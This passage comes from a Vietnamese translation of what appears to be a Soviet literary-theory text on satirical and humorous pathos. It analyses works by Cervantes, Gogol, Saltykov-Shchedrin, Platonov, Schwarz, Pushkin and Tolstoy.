Trong quan hệ đó, ý đồ của Xécvantex hình như đã đáp ứng bằng một làn gió mới và cái dụng ý nhại lại tính cách “hiệp sĩ lãng du” đi qua toàn bộ tác phẩm. Chàng tiểu quý tộc nghèo hèn (“tài ba”) Alonđô Kikhana từ La Mantri lúc về già đọc nhiều tiểu thuyết, được cổ vũ chân thành bởi lý tưởng đã từ lâu đi vào quá khứ của lòng quả cảm và anh dũng hiệp sĩ, của danh dự và phẩm hạnh, của sự phục vụ người đẹp của trái tim mình, của sự công bằng và cứu giúp mọi nỗi bất bình. Và chàng đã quyết định mặc đồ binh giáp han rỉ của tổ tiên mình, cưỡi con ngựa già của mình, đơn thương độc mã, trên thực tế làm sống lại lý tưởng ấy – trong hoàn cảnh thực tiễn của thời đại mình, giữa cái hệ thống khắc nghiệt của bộ máy quân sự – quan liêu và của toàn thể lo truy tìm lợi nhuận. Đông Kisốt đôi khi trông có vẻ như mất trí, những cuộc phiêu lưu dũng cảm của chàng đem đến bất hạnh, thương tật cho chính chàng cũng như cho chính những ai theo hoặc chống lại người mà chàng chống. Trong tính cách của chàng khắp nơi biểu hiện cái mâu thuẫn hài hước sâu sắc giữa khát vọng không gì ngăn cản nổi đối với những lý tưởng lỗi thời, giữa những mục tiêu cao cả của hành động và những kết quả vô nghĩa và thảm hại của nó.
Chính nhân vật của tiểu thuyết không hay biết gì toàn bộ cái hài kịch hoạt động của mình được sản sinh bởi sự không phù hợp của lý tưởng đời sống thực tiễn của nó, càng không biết rằng lý tưởng tốt đẹp của nó về thực chất là thách thức cuộc sống ấy, là bản kháng nghị chống lại nó. Nhưng bản thân nhà văn khi xây dựng tác phẩm trong những năm lâu dài, rõ ràng đã ý thức được ngày càng rõ hơn cái khuynh hướng xuất hiện có tính khách quan ấy của tác phẩm của mình.
Xécvantex chính xuất thân từ hoàn cảnh những người tài tình nghèo nàn đã nhại lại kiểu “hiệp sĩ lãng du” không từ lập trường của nhà thơ và chính quyền nhà vua đồng thời với ông, mà từ lập trường chủ nghĩa nhân đạo và chủ nghĩa dân chủ tự phát đã được phát triển dần dần trong thế giới quan của nhà văn và ngày càng thương xót nhân vật của mình. Vì vậy trong thời gian những cuộc phiêu lưu của mình, Đông Kisốt biến đổi tinh thần một cách thông minh: anh ta ngày càng tỏ ra ít cái tư tưởng phóng cuồng bị ám ảnh lẩm cẩm, rút ra từ sách vở, bắt đầu tin vào năng khiếu chân chính của mình “sửa chữa lại thế kỷ hư hỏng của chúng ta”, trong đó ngày càng cảm thấy sức mạnh đạo đức to lớn mặc dù thiếu tính hài hước của ý nghĩa đúng đắn; nhưng sau đó anh ta lại bộc lộ cả sự khôn ngoan đạo đức độc đáo, ví dụ khuyên bảo người hầu cận của mình là Xanxô Panxa rằng “máu tự nối tiếp còn đức hạnh thì tự kiếm được nhưng nó có giá trị lớn hơn nhiều so với máu”.
Độc giả tiểu thuyết khi nhận thức tất cả điều đó, đều cười chàng hiệp sĩ Mặt Buồn một cách mỉa mai nhưng đồng thời lại buồn bã, khoan dung. Thay cho tác giả, tác phẩm phê phán những mâu thuẫn hài kịch trong tính cách nhân vật từ quan điểm đạo đức và rất thông cảm với nhân vật. Tác phẩm về cơ bản thấm đượm cảm hứng trào phúng cao cả. Đó chính là cảm hứng gợi nên bởi tính chất hài hước khách quan của cái miêu tả, cái mà nói theo Gôgôn, có thể gọi là “sự cười cợt giả vờ đối với thế giới” xuyên qua nó đang trào ra “những giòng nước mắt vô hình đối với thế giới”(1).
Những siêu mẫu của cái hài hước và châm biếm là như vậy.
5
Tất nhiên từ đó không nên cho rằng những tác phẩm hài hước và châm biếm luôn sâu sắc và có ý nghĩa theo cảm hứng của mình, rằng những sự đa dạng ấy của cảm hứng luôn không gắn kết với nhau trong phạm vi một tác phẩm và rằng giữa chúng không có những sự chuyển đổi nào cả. Chính cái hài kịch trong những tính cách xã hội thường có rất nhiều khác biệt và các tính cách tập hợp lại theo những cách khác nhau trong các tác phẩm và toàn bộ những vấn đề của chúng bắt nguồn từ các quan điểm và lý tưởng của các nhà văn thường có sự khác biệt theo chiều sâu, ý nghĩa và độ rõ ràng của mình. Đồng thời ngay cả những truyền thống sáng tạo của nhà văn hay nhà văn khác và trình độ của tính định chuẩn và của chủ nghĩa hiện thực phản ánh cuộc sống, ngay cả thể, loại văn học của tác phẩm cũng có ý nghĩa to lớn.
Luận điểm cơ bản của chúng ta là ở chỗ cảm hứng châm biếm được kích thích bởi cái hài kịch của những tính cách được nhà văn thấu hiểu. Nhưng trong các nền văn học dân tộc khác nhau thường gặp không nhiều những tác phẩm thi ca trữ tình hay trữ tình – sử thi có khuynh hướng châm biếm một cách khách quan song hầu như mất đi cái hài kịch miêu tả. Loại như vậy trước hết là văn châm biếm La Mã do các nhà thơ thời đế chế tạo nên. Phần lớn chúng gồm có những lời biện luận đạo đức trừu tượng, chê bai các thói xấu một cách thẳng thắn và giới thiệu chúng trong những nhân vật hết sức khái quát và ít cá thể hóa, trong sự miêu tả chúng không có chỗ cho các chi tiết và các lớp hài kịch.
Ngay cả người dũng cảm nhất trong các nhà châm biếm La Mã, kẻ thù không đội trời chung của những thói xấu xã hội giới quý tộc và những kẻ giàu có, chẳng hạn như Iuvenal, cũng chỉ rất ít khi đạt tới cái hài kịch chân chính của hình tượng, – ví dụ trong châm biếm số IV, ở cảnh hội đồng hoàng tộc thảo luận một cách rất trang nghiêm về vấn đề làm thế nào với một con cá to như vậy tặng cho người đứng đầu quốc gia, rằng nó không đựng được vào một cái đĩa nào. Hêghen đã cho rằng những châm biếm như thế là giai đoạn không lặp lại có tính lịch sử của sự suy thoái của hình thức nghệ thuật “cổ điển”, mặc dù trong thực tế những tác phẩm châm biếm tương tự được sáng tạo mãi về sau bởi các nhà thơ chủ nghĩa cổ điển Pháp hay Nga ví dụ như Boalô, Kantemir và những người khác.
Nhưng các tác phẩm của khuynh hướng châm biếm có thể mất liên hệ với cái hài kịch của hình tượng theo một nguyên nhân khác hoàn toàn – bởi sức mạnh cảm hứng tố cáo khách quan của mình đi sâu vào những quan hệ của đời sống dân sự mà chúng nằm sâu trong cái phạm vi tại đó có thể hiện ra hài kịch của những tính cách được miêu tả.
Chúng ta trở lại với “Lịch sử một thành phố”. Hoạt động của tất cả các kẻ đứng đầu thành phố Glunôv, cách này hay cách khác thấm sâu bằng cái bi kịch nặng nề và ảm đạm, khiêu khích tiếng cười căm phẫn, châm chọc độc địa đối với tất cả, trừ một người là Ugrium – Burtrêe. Ở anh ta, như điều đó đã có ở Bruđaxtưi, không bị huỷ hoại trong đầu óc “người đánh đàn oócgan nhỏ”, có năng lực chỉ lặp lại những sự dọa dẫm thô bạo và ngắn gọn; nó không đi theo bãi chăn nuôi để “nhận những tặng phẩm” giống như Pherđưsenka và cũng không đi đàn áp làng Xtrêlêxki với sự giúp đỡ “của những anh lính chì bằng thiếc” giống như Bôrôđapkin. Sự hoạt động của nó nguy hiểm hơn nhiều đối với tất cả dân cư thành phố tượng trưng Glunôv, đối với bản thân thành phố. “Nó thật kinh khủng” bởi vì đã xuất hiện “sự bất khuất gần như ngu ngốc”. Nó đã rắp tâm “nhét vào đường thẳng… toàn bộ thế giới thấy được và không thấy được”, nó biến thành phố Glunôv thành trại lính, chia cắt nó thành “một vài nhóm lưu đày” và cứ mỗi một nhóm trong số chúng cài đặt một tên gián điệp, cuối cùng, nó đã quyết định triệt hạ thành phố… Tất cả điều đó không cười cợt, tất cả điều đó đánh thức sự phẫn nộ, chuyển sang sợ hãi. Hình tượng toàn bộ điều đó là châm biếm – nguyền rủa, kêu gọi sự can thiệp, báo thù.
Trong trữ tình xuyên thấm một cảm hứng như vậy có thể ví dụ như thi phẩm “Gửi người cầm nắm thời gian” của Rưlêev hoặc phần hai thi phẩm “Cái chết của nhà thơ” của Lermontôv.
Nhưng thường thì cảm hứng trào phúng và châm biếm thống nhất trong một tác phẩm. Chẳng hạn như A. A.Xmirnov xác định cảm hứng của một trong những tiểu thuyết trung cổ: “Trong “Tiểu thuyết về Lixa”… cần phải phân định rõ châm biếm và hài kịch. Trong sự ra đời của mình tiểu thuyết đã không theo đuổi mục đích châm biếm. Sự hóa trang của mọi người trong bô mặt thú hoặc ngược lại đưa vào con vật những đạo đức, tình cảm con người đã làm giải trí giống như hội hóa trang hài hước trong chốc lát chuyển sang sự phỏng nhại vui vẻ toàn thể xã hội loài người, không có sự nhấn mạnh những đặc điểm tầng lớp đặc biệt nào cả. Đồng thời đã mở ra khả năng cho… việc mô tả không che đậy và hạ thấp cuộc sống con người với những yếu tố sử dụng nhà văn sinh hoạt hàng ngày phong phú, trong hình thức giáo huấn bóng bẩy. Nhưng khi bắt đầu vào khoảng gần giữa của tiểu thuyết, yếu tố châm biếm – xã hội hiện ra càng ngày càng rõ; “những nhánh” cuối cùng của tiểu thuyết mang đặc tính tố cáo dữ dội”(1).
“Những linh hồn chết” của Gôgôn là như vậy. Nhà văn này giống như Sêđrin là nhà văn với thế giới quan công dân biểu hiện rực rỡ và đồng thời đã ý thức được toàn bộ cái hài kịch của những đạo đức quý tộc – quan liêu thống trị ở nước Nga như sự biểu hiện bản chất ấy của đời sống dân tộc mà nó hoàn toàn mất đi nội dung tiến bộ. Nhưng Gôgôn không phải là nhà dân chủ, hơn thế là nhà cách mạng. Thế giới quan của ông là đạo đức công dân, trong hoàn cảnh bắt đầu cuộc khủng hoảng của chế độ nông nô chuyên chế, tiếp tục truyền thống văn học trong quá khứ biểu hiện lý tưởng nhà nước quý tộc tiến bộ. Từ điểm nhìn những quan niệm chủ quan của ông, sự suy đồi xã hội của các tầng lớp thống trị (khách quan không thay đổi, không sửa chữa được) đã có thể khắc phục chỉ bằng sự tự nhận thức đạo đức công dân của mỗi một nhà quý tộc và quan chức có được ảnh hưởng này hay khác trong đời sống. Ông nhận thức tính cách các nhân vật của mình từ quan điểm ấy, đã nhìn nhận trình độ đạo đức và trạng thái của mỗi một người trong những mối quan hệ đời sống – xã hội và gia đình riêng của họ, tương quan giữa cái họ đã nhìn thấy thực tế trong toàn bộ quan hệ đó, với cái họ muốn nhìn thấy. Và ông càng ý thức được cái hài kịch của cái trống rỗng đời sống và sự kiêu kỳ, vênh váo của nó trong mỗi đại diện riêng lẻ của xã hội quý tộc – quan liêu nhiều bao nhiêu thì càng thương cảm cái giá trị xã hội và danh dự của con người bị hạ mình nhẫn nhục bởi những điều đó cùng cái tính hão huyền lý tưởng công dân cao cả của mình bấy nhiêu; tiếng cười của nó bề ngoài càng vui vẻ – mỉa mai thì bên trong càng trở nên đượm buồn. Điều đó lại càng hấp dẫn ông đến với những trầm tư triết học về nỗi buồn cuộc sống “trên trái đất này” hoặc về “lĩnh vực khắc nghiệt” của nhà văn “người xúc phạm loài người”.
Bảy chương đầu hoặc thậm chí gần như tám chương của “Những linh hồn chết” được viết như vậy cho đến đoạn xuất hiện của Nôzđrev nơi vũ hội ở nhà tỉnh trưởng và toàn bộ chương mười một cuối cùng như thế. Chương chín và mười thì viết khác. Khi sự phản bội của Nôzđrev, sau đó là những chuyện đơm đặt của hai người đàn bà “làm náo động” cả thành phố thì lúc đó Gôgôn chuyển sang hiểu thấu cuộc sống của toàn bộ xã hội quý tộc – quan liêu hàng tỉnh và lúc đó phương diện công dân chủ yếu của điểm nhìn của ông đã hoàn toàn đẩy lên bình diện thứ nhất. Bấy giờ qua những câu chuyện sinh hoạt về thế nào là “Những linh hồn chết “, Tritrikôv là người ra sao thì sự nhận thức cái tội ác công vụ được hoàn tất từ sớm của tất cả bè lũ quan lại cầm quyền ở hành phố càng hiện ra rõ ràng hơn (những việc đó rõ là rất lớn, sự lo ngại về chúng lúc đầu đã dẫn đến vẻ tái nhợt trên mặt các quan lại và sau đó là cái chết đột ngột của tên chưởng lý). Việc đó còn gián tiếp liên lụy trong toàn đế chế (“Câu chuyện về đại uý Kôneikin”). Tất cả điều đó đã được che dấu dưới cái thói hợm hĩnh, hào nhoáng bề ngoài cuộc sống và vẻ phong lưu tự mãn giả dối của “xã hội” tỉnh lỵ mà tương phản với chúng là một cái gì đó rất nghiêm trọng và hài hước – buồn thảm gợi nên cái cười gằn chua chát, độc địa.
Chính ngôn từ nghệ thuật của Gôgôn đã thay đổi khi chuyển sang đoạn ấy và trở nên xúc động hơn nhiều trong ngữ điệu của mình (“Thành phố náo loạn hoàn toàn; tất cả bất bình và bất cứ ai đó cũng có thể biết một cái gì đó…” Hoặc: “Cơn lốc như bốc lên toàn bộ, như bốc cả thành phố đang thiêm thiếp!”).
Một sự kết hợp tương tự của cảm hứng hài hước và châm biếm có thể tìm thấy chẳng hạn ở Đichken trong “Những bút ký câu lạc bộ Pickvixki”, nơi tuyến cốt truyện cơ bản về hành trình khoa học hài hước của đức ông tốt bụng Pickvixki và các bạn của ông, “những người khám phá” giống cái mới – những cái gai trong đầm công viên Gai, bị ngắt quãng từng lúc bởi việc mô tả lố bịch, châm biếm cay độc những cuộc bầu nghị viện và cuộc đấu tranh của các đảng chính trị xung quanh chúng.
Thường thì gặp những tác phẩm chứa trong các cốt truyện của mình những nhóm nhân vật đối lập nhau gay gắt mà trong số chúng thì mô tả châm biếm còn số kia là trình bày trong giọng điệu tình cảm hoặc thậm chí lãng mạn. Loại như vậy có thể kể như “Âm mưu và ái tình” của Sinler, “Thời gian khó” của Đichken, “Khổ vì trí tuệ” của Gribôêđôv… v.v…
6
Trong văn học Xô viết những tác phẩm với cảm hứng châm biếm dĩ nhiên xuất hiện rất không thường xuyên. Nhưng dù sao vẫn có. Trong xã hội mới đối tượng của việc tố giác có tính châm biếm là những người lạm dụng chính quyền tiến bộ của mình, sử dụng nó trong những quyền lợi cá nhân của mình, cũng như những tàn tích hình thức xưa cũ của đời sống xã hội, đặc biệt là chủ nghĩa quan liêu trong cơ quan công vụ.
Một số thi phẩm của Maiakôpxki và các vở kịch của ông, đặc biệt là “Nhà tắm hơi” thường được lấy làm ví dụ những tác phẩm châm biếm. Nhưng ở chúng ta còn những tác phẩm khác tuy không nổi tiếng nhưng cũng là những sáng tác châm biếm có giá trị.
Ví dụ như truyện vừa “Thành phố Građôv” của A.Platonov. Đó là sự châm biếm một trong những kiểu khác nhau của chủ nghĩa quan liêu Xô Viết nhanh chóng xuất hiện sau cách mạng trong những thị trấn nhỏ nơi hẻo lánh tỉnh lẻ phân tán trên đất đai mênh mông của tổ quốc chúng ta, nơi không có hoặc hầu như không có nền công nghiệp và giai cấp công nhân có tổ chức của địa phương, nơi mà vì vậy chính quyền lúc đầu rơi vào tay những người ra sức áp dụng những khái niệm quan liêu cũ vào những điều kiện mới.
Toàn truyện được xây dựng theo phép ngoa dụ châm biếm. Građôv được nhà văn mô tả nhanh chóng như một làng lớn hơn thành phố nhưng vẫn là tỉnh lẻ. “Người nơi khác đến” lúc đầu thấy “những ngôi nhà nông dân làm bằng đất, rơm, những bờ giậu, sau đó hiện ra những thánh đường và sau đó là quảng trường. Giữa quảng trường là nhà thờ lớn và đối diện với nó là cái nhà hai tầng”. Trên đó là cái biển: “Uỷ ban cảnh sát diệt trừ Građôv”. “Cạnh quảng đất chợ còn mấy cái nhà mẫu nhà nước vĩnh cửu…”. Tuy nhiên ở Građôv có nhiều chữ viết của nhân dân: “bốn ngàn viên chức Xô Viết, thất nghiệp… hai ngàn tám trăm bảy mươi bảy người…”.
Và giữa những viên chức ấy có nhiều người hăng hái, thậm chí là những người tư tưởng của chủ nghĩa quan liêu. Ví dụ như nhân vật chính của truyện là Smakôv – người phụ trách tiểu ban quản trị đất đai của tỉnh nhưng ở nhà viết “công trình” lớn: “Nhật ký của con người nhà nước”. Đây là đoạn trích: “Bọn quan liêu có công lao trước cách mạng: nó đã gắn kết những bộ phận bung ra của nhân dân, đã xuyên qua ý chí của chúng đến với trật tự và đã làm cho quen cách hiểu không thay đổi của những việc bình thường”. “Tờ giấy bày ra về thực chất những điều cần thiết thủ tục giấy tờ, là sản phẩm của văn minh cao nhất”. Nó “làm mọi người quen với đạo đức xã hội vì không ai có thể che dấu được văn phòng”. “Văn phòng là sức mạnh chính cải biến thế giới tự nhiên hư hỏng thành thế giới của quy luật và thanh nhã”. “… Tác phong quan liêu giấy tờ là sự bồi dưỡng tập thể thông minh của chân lý xã hội chứ không phải thói xấu”, v.v… Giống như Smakôv và những kẻ khác, ví dụ như Bormôtov, trong ngày lễ thánh những người đồng liêu nói rằng thiếu nó thì “ở Građôv không có cơ quan và văn phòng, không còn nguyên vẹn chính quyền Xô Viết và không duy trì được giòng chảy công việc từ thời gian cũ mà thiếu nó chúng ta không thể sống”.
Một số vở kịch của E. Svarex, đặc biệt là vở “Con rồng” thực chất rất có ý nghĩa trong phương diện chúng ta thích thú. Giống như trong những vở kịch khác của tác giả này, những hình tượng và tình tiết của nó có tính tượng trưng – lố bịch và vì vậy đặc biệt nhiều ý nghĩa. Nhưng toàn bộ sự bố trí các tính cách của câu chuyện hoang đường bóng gió không để lại sự nghi ngờ nơi độc giả rằng trong đó biểu thị một sự hiểu biết viễn cảnh lịch sử rất sâu sắc ý nghĩa của thời điểm trùng lặp những mâu thuẫn chính trị – xã hội mà các nước tư bản chủ nghĩa châu Âu đã thể nghiệm trong thời gian sau chiến tranh thế giới thứ hai, lúc đó gặp phải ách chuyên chế phát xít ngoại quốc.
Con rồng ba đầu sống từ lâu trong hang động dưới thành phố trung cổ thường xuyên làm kinh sợ dân thành phố bằng tiếng rít những lần bay của mình, bằng tiếng ken két sắt thép của cánh và chân của mình không những có sức mạnh mà còn có hình dáng người đứng tuổi với tư thế quân nhân có mái tóc bàn chải và hàng năm đòi thành phố dâng hiến cho mình một cô gái trẻ đẹp; thị trưởng và đứa con trai Henrix của nó – tôi tớ của con Rồng – những kẻ quản lý thành phố quỵ lụy trước cái tên của nó nhưng lại luôn bí mật chuẩn bị đứng vào vị trí của nó trong trường hợp nó thất bại; người hiệp sĩ khẳng khái Lanxelôt căm thù ách thống trị dường như sống chỉ để chiến đấu với nó nhằm giải phóng nhân dân – những người lao động địa phương – thợ dệt, thợ rèn, thợ mũ, người chăn nuôi súc vật, những dũng sĩ vũ trang để cuộc giao phong của nó với con Rồng bằng tấm thảm – máy bay, bằng thanh kiếm và cái mũ tàng hình. Đây là tình hình hoàn toàn dự định vào năm 1943 khi vở kịch được viết ra và sau đó được kết thúc theo những cách khác nhau trong những nước riêng lẻ ở Tây và Trung Âu.
Cái đối tượng tư duy châm biếm gay gắt ở Svarex hiện ra trước hết là con Rồng, đôi khi với cái vẻ mềm mại của con vật hút máu, với lòng tin vô hạn nhưng vô ích vào sức mạnh vô địch bạo tàn của mình. Nhưng đối tượng của sự châm biếm gắt gao của nhà viết kịch không phải trong mức độ ít hơn là tên thị trưởng và con trai của hắn với sự đối chất hèn nhát, phản phúc của chúng trước sức mạnh của con Rồng và với sự chiếm đoạt chính quyền trắng trợn dương dương tự đắc và sự chuẩn bị thậm chí bắt chước cung cách bạo chúa của con Rồng của chúng khi người chiến hắng Lanxelôt đi khỏi thành phố để chữa những vết thương của mình.
Nhưng ở tác giả đầy ắp nỗi đắng cay châm biếm và sự lên án chung của ông đối với những tiểu thị dân thành phố, “những người tốt nhất của thành phố” mà cái tính ngoan ngoãn hèn nhát của họ đã hiến dâng thành phố lúc đầu dưới chính quyền con Rồng, sau đó – là của tên thị trưởng. “Con Rồng đã làm trật khớp tâm hồn các người, đã đầu độc máu và đã là mờ mắt các người”, – Lanxelôt đã nói với Elde – con gái được tuyển đến lượt hiến dâng của con Rồng, ngoan ngoãn cam chịu với nó với cha mình là Sarleman – người làm nghề lưu trữ. “Nếu như mày thấy được hình dáng chúng – ồ, chính con Rồng nói như run lên với Lanxelôt về những người dân thành phố trước cuộc chiến của chúng. – Chàng lịch thiệp của ta ơi, chúng ta đã làm chúng què quặt”. “Những người thiếu chân, những người thiếu tay, những người câm điếc, những người bị xích, những người bị ruồng bỏ, đáng nguyền rủa”. Trong thời gian cuộc chiến khí sắc của người dân thành phố đang quan sát những gì diễn ra trên bầu trời thành phố đã nhanh chóng thay đổi từ chỗ trung thành hoàn toàn với con Rồng sang sự khinh bỉ hết sức đối với nó. Và trước khi chết con Rồng an ủi bản thân rằng nó lưu lại sau mình “những linh hồn đốn mạt, những con người bị đâm thủng, những linh hồn chết…”.
Từ cái màn này trong đó Lanxelốt thú nhận rằng nó “bị thương chí mạng” đến màn kế tiếp chiến thắng của tên thị trưởng chiếm đoạt chính quyền tuyên bố rằng “chế độ nô lệ đã đi khỏi lĩnh vực xét xử” nhưng người thợ dệt, thợ rèn, thợ mũ đã ngồi tù có ý định kết hôn với Elde, người soạn kịch đã bộc lộ một cách hiểu viễn cảnh giải quyết xung đột hoàn toàn phù hợp với quan hệ thực tế của các lực lượng – “hoàn cảnh điển hình” của giai đoạn lịch sử.
Nhưng trong chính đoạn kết vở kịch, lời tố giác của Elde, sự biểu hiện bất ngờ một lần nữa sức mạnh hoàn toàn của Lanxelôt, nhờ nó mà giải thoát khỏi nhà tù người thợ dệt, thợ rèn, thợ mũ, bắt giam thị trưởng và Hanrix, sự giải thích của hiệp sĩ của Elde rằng nó bây giờ sẽ phải có “công việc nhỏ bé” – “giết chết con Rồng” trong mỗi người dân thành phố, – tất cả điều đó bắt nguồn từ chủ nghĩa lãng mạn công dân của nhà soạn kịch gắn chặt với cảm hứng châm biếm của vở kịch của ông tuy nhiên vẫn có “tính định chuẩn”. Việc tiêu chuẩn hậu quả thống trị của con Rồng – đó không phải “công việc bé nhỏ”, đó là một thời kỳ mới, phức tạp của cuộc đấu tranh chính trị trong đó tên thị trưởng và Henrix lại còn có thể được tự do và ở trong chính quyền. Nhưng đối với độc giả và khán giả vở kịch thì sự thống nhất ấy của cái châm biếm và chủ nghĩa lãng mạn là hoàn toàn xác đáng. Cái hình thức thần kỳ của việc mô tả đời sống hết sức đặc trưng cho nhiều vở kịch khác của E.Svarex (“Bóng ma”, “Điều kỳ lạ bình thường”, “Ông vua cởi truồng” và những tác phẩm khác) nêu lý do và thanh minh cho nó.
________________
Ở trên trong một loạt chương đã xác định một số biến thể của cảm hứng các tác phẩm văn học hàm chứa trong mình sự khẳng định và phủ định cuộc sống mang tính tư tưởng – cảm xúc. Từ những sự ví dụ trong quan hệ với chúng trở nên sáng rõ ràng sự khác nhau của tất cả các biến thể ấy của cảm hứng không phải là cái gì đó tương tự một cách nghiêm ngặt với sự phân chia lôgic của một “loại” chung nào đó của các hiện tượng thành những “thể” quy định bề ngoài với nhau của nó bằng con đường vận dụng một nguyên tắc nào đó. Ngược lại chúng tôi đã muốn trình bày rằng các biến thể của cảm hứng tác phẩm nghệ thuật không chỉ gắn bó chặt chẽ giữa chúng mà còn có thể song song tồn tại và tác động lẫn nhau như một cái biến thể trong số chúng lại có một mặt hay khía cạnh của cái khác. Chẳng hạn như cái anh hùng, cái lãng mạn, cái trào phúng có thể trở thành bi kịch, tính chất tình cảm thành tính chất lãng mạn, chủ nghĩa lãng mạn có thể là phương diện tư tưởng – tâm lý trên trong của hoạt động anh hùng, cái châm biếm có thể đánh mất mối liên hệ của mình với cái hài hước v.v…
Trong phần lớn các tác phẩm thể loại kịch và tự sự khác biệt bởi độ rộng lớn của hệ đề tài của mình và sự phong phú của toàn bộ các vấn đề, sự thống nhất và xuyên thấm lẫn nhau của các biến thể cảm hứng đôi khi đặc biệt phức tạp. Chẳng hạn trong tiểu thuyết “Evghênhi Ônhegin” của Puskin theo nhận xét chung của chính tác giả là “tập hợp những chương pha tạp, nửa buồn cười, nửa buồn thảm, dân dã, lý tưởng” (những xác định ấy tất nhiên còn có thể tiếp tục), cảm hứng tư tưởng sáng tạo và tình cảm nhà thơ rất đa dạng và thay đổi không chỉ trong những trữ tình ngoại đề bên ngoài sự tường thuật và mô tả mà cả trong tường thuật và mô tả. Sự trào phúng nhẹ nhàng, tươi sáng ở đây dễ chuyển sang tính chất thơ điền viên và tính đa cảm, sau đó vào lãng mạn và bi kịch, chính trong một chừng mực nào đó xuyên qua chúng, cùng với chúng để trong những chương cuối cuốn tiểu thuyết lại giải quyết bằng bi kịch hoặc đi sâu vào châm biếm. Chính Puskin rõ ràng là đã ý thức được sự thiếu thống nhất đó là cảm hứng trong tác phẩm mới được tự do tuôn chảy dưới ngòi bút của mình, có thể là một chừng mực nào đó làm bối rối bởi sự bất thường của toàn bộ điều đó ít nhất cũng như đối với văn học Nga, giống như đã biện bạch trước Pletnhevôi trong những dòng trích dẫn ở trên phần từ đề tặng nó.
Cảm hứng trong “Evghênhi Ônhegin” và những tác phẩm giống nó – không chỉ trong thi ca – có thể cảm thấy trực tiếp. Được sản sinh trong chiều sâu hình tượng, trong sự hiểu biết các tính cách nhân vật, hiểu biết các đặc điểm lịch sử – dân tộc cơ bản của chúng, nó đồng thời được biểu hiện trong tất cả các chi tiết của chính hinh tượng tái tạo cuộc sống, kể cả chi tiết ngôn từ thi ca với sức biểu cảm cú pháp của nó. Cảm hứng trong những tác phẩm ấy dường như được toát ra trên bề mặt của chúng và có thể thấy tác động vào sự thụ cảm xúc động của độc giả.
Nhưng không phải luôn luôn thế. Một số nhà văn chủ yếu viết văn xuôi khi biểu lộ khuynh hướng với sức mạnh đặc biệt thực hiện những đặc tính và khả năng đặc biệt của mô tả sử thi bằng sự thấu hiểu mang tính tư tưởng – cảm xúc của mình chủ yếu là bằng cách lựa chọn và tổng hợp các chi tiết tạo hình cụ thể – những hành động, vận động, điệu bộ, ngoại hình các nhân vật, những cảm xúc và lời nói của chúng trong từ nghệ thuật. Cảm hứng của những tác phẩm như vậy hầu như che lấp trong các lớp miêu tả, không dễ xác định và nắm bắt bằng lý trí. Tuy nhiên người đọc vẫn cảm thấy nó.
Ví dụ như một lớp trong “Chiến tranh và hòa bình” của L.Tônxtôi. Trong đó mô tả Natasa lo lắng ra sao bởi sự vắng mặt lâu của Bônkônxki, cố gắng trấn tĩnh trở lại với nềp sống thuở trước của mình và buổi sáng trong phòng đã cất lên giọng xướng âm của mình. “Xong bài thứ nhất, nàng dừng lại giữa phòng và nhắc lại một câu nhạc mà nàng đặc biệt ưa thích. Nàng vui vẻ lắng nghe vẻ duyên dáng ấy (tưởng chừng như bất ngờ với nàng) mà với nó những âm thanh kia đang ngân vang chứa đầy khắp khoảng trống gian phòng rồi dần dần lặng đi và nàng bỗng vui lên. “Mình nghĩ rất nhiều về điều đó và tốt thật”, – nàng tự nhủ và đi đi lại lại khắp phòng, bước những bước không bình thường theo ván sàn âm vang, nhưng mỗi bước lại nhấc gót giầy ấn xuống mũi đầu bàn chân (nàng đi những chiếc giày mới) và lại vui vẻ như với âm thanh của giọng mình nàng lắng nghe nhịp đều đặn ấy của gót giày. Đi ngang qua gương nàng nhìn vào nó. “Nàng ta đây rồi!” giống như vẻ mặt nàng nói với hình dáng mình… “Thôi, tốt rồi. Và không ai không cần mình”.
Tônxtôi, điều đó hầu như luôn có ở ông là không nói chút gì từ bản thân. Ông muốn chuyển trạng tinh thần của Natasa thông qua hành động, vận động của nàng, qua tiếng hát của nàng, qua những ấn tượng mà tất cả điều đó đang thức dậy trong nàng và chính nàng sản sinh ra chúng. Đồng thời ông cẩn thận ghi chép tất cả những chi tiết ấy của chính cuộc sống được mô tả, chúng cần phải tự mình tạo nên ấn tượng đó bằng khí sắc ngữ điệu lời nói của mình. Ngược lại lời của nhà văn theo cái giọng của mình cố tình điềm tĩnh, khoan thai, hàm súc. Ông không chỉ không tránh những câu dài, phức hợp với những đoản ngữ biệt lập và thậm chí với những câu cho vào ngoặc đơn nhưng hầu như bằng những điều đó cố gắng nhấn mạnh và tăng cường tính khách quan bình tĩnh sự trần thuật của mình. Nói cách khác ngôn từ nhà văn tự nó hầu như tước bỏ mất cảm hứng. Cảm hứng trần thuật của nó được tạo nên bởi tính chất toàn vẹn phức tạp của hình tượng cụ thể. Trạng thái tâm hồn của Natasa là ở chỗ muốn kìm ném những đợi chờ và hy vọng yêu đương – lãng mạn buồn rầu thầm kín của mình của tính lãng mạn tự phát của sự sống trẻ trung, phấn khởi – toại nguyện thường xuyên của nếp sống gia đình mình. Tônxtôi đặc biệt quý trọng nét “tươi sáng, đặc biệt không có tính chất Pêterbua” trong tính cách nhân vật nữ của mình mà vì nó chàng công tước Anđrây đã mê đắm nàng. Chàng ngắm nhìn “cuộc sống đầy ắp vẻ thơ mộng của cô gái tuyệt mỹ” ấy với những xúc động lãng mạn tự phát của nàng tất cả điều đó nhà văn muốn thể hiện tính khách quan bề ngoài của việc mô tả của mình và người đọc chín chắn cảm thấy một cách tốt đẹp tất cả điều đó.
Còn có thể dẫn ra nhiều ví dụ của việc biểu hiện tính sử thi và tính kịch khách quan cũng như tất cả các biến thể khác của cảm hứng.
Vậy cảm hứng của các tác phẩm văn học nằm trong quan hệ nào với các thể loại của chúng và tiếp theo với các trào lưu của chúng?
PHẦN III

I. NHỮNG VẤN ĐỀ THỂ LOẠI VĂN HỌC, CÁC HÌNH THỨC THỂ LOẠI
– 1 –
